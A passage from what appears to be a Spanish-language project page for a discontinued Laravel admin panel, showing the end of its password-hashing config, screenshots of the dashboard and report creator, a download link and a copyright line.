    |--------------------------------------------------------------------------
    |
    | Here you may specify the configuration options that should be used when
    | passwords are hashed using the Bcrypt algorithm. This will allow you
    | to control the amount of time it takes to hash the given password.
    |
    */

    'bcrypt' => [
        'rounds' => env('BCRYPT_ROUNDS', 10),
    ],

    /*
    |--------------------------------------------------------------------------
    | Argon Options
    |--------------------------------------------------------------------------
    |
    | Here you may specify the configuration options that should be used when
    | passwords are hashed using the Argon algorithm. These will allow you
    | to control the amount of time it takes to hash the given password.
    |
    */

    'argon' => [
        'memory' => 1024,
        'threads' => 2,
        'time' => 2,
    ],

];
```

---

Las funciones CRUD están disponibles en la clase `App\Http\Controllers\AdminController`.

### 🍏 Panel / Dashboard

![Panel](https://i.imgur.com/tjP4fUK.jpeg)

### Creador de informes (EXCEL, XML o CSV)

![Informer creator](https://i.imgur.com/CEHGtaz.jpeg)

### Crear y actualizar un cliente o empleado

![Update client](https://i.imgur.com/Uqew5jR.jpeg)

### Lista de categorías

![Category](https://i.imgur.com/VCgfsgQ.jpeg)

### Página de índice

![index](https://i.imgur.com/SWrm6qw.jpeg)

---

### ⬇ Descargar

El proyecto está obsoleto y no continuaré desarrollándolo, pero puedes descargarlo y solucionar los errores.

[Descargar](https://www.mediafire.com/file/o1mz1wkf2cuq6nt/CC.zip/file)

### 📝 Licencia

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app).

Entradas de Blog